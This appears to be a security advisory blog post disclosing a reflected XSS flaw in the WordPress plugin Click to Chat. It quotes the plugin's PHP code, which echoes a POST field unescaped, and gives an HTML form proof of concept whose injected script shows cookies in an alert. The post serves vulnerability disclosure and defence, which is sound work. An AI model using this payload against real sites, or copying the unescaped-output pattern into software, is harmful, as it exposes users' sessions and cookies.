Recently Closed WordPress Plugin with 100,000+ Installs Contains Reflected XSS Vulnerability
The plugin Click to Chat was closed on the WordPress Plugin Directory today. That is one of the 1,000 most popular plugins with 100,000+ installs, so we were alerted to its closure. While we were looking in to the plugin to see if there were any serious vulnerabilities we should be warning users of the plugin that also use our service, we found that it contains a reflected cross-site scripting (XSS) vulnerability.
In a reminder of the general insecurity of WordPress plugins that vulnerability appears unrelated to the cause of the closure, as there was a change made to the plugin since its closure which involved renaming the plugin from Click to Chat for WhatsApp.
The plugin registers the function chat() to run when loading frontend pages of the website:
35 | add_action( 'wp_footer', array( $this, 'chat' ) ); |
The last thing that function does is to load the file /inc/commons/styles.php:
235 | require_once HT_CCW_PLUGIN_DIR .'inc/commons/styles.php'; |
In that file if the POST input “subject” exists and headers have been sent then the value of that input will be output without being escaped, which permits reflected cross-site scripting (XSS) to occur as the proof of concept below shows:
103 104 105 106 107 108 109 110 111 112 113 | if ( isset ( $_POST['subject'] ) ) { $num = $values['number']; $subject = $_POST['subject']; $url = "$redirect_a&text=$subject"; if ( headers_sent() ) { die('<script type="text/javascript">window.location.href="' . $url . '";</script>'); } else { header('Location: ' . $url); die(); } |
WordPress Causes Full Disclosure
Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).
Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:
Is It Fixed?
If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information, can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.
Proof of Concept
The following proof of concept will cause any available cookies to be shown in an alert box. Major web browsers other than Firefox provide XSS filtering, so this proof of concept will not work in those web browsers.
Make sure to replace “[path to WordPress]” with the location of WordPress.
<html> <body> <form action="http://[path to WordPress]/" method="POST"> <input type="hidden" name="subject" value='</script><script>alert(document.cookie);</script>' /> <input type="submit" value="Submit" /> </form> </body> </html>
We fixed all the issues, and now the plugin is secured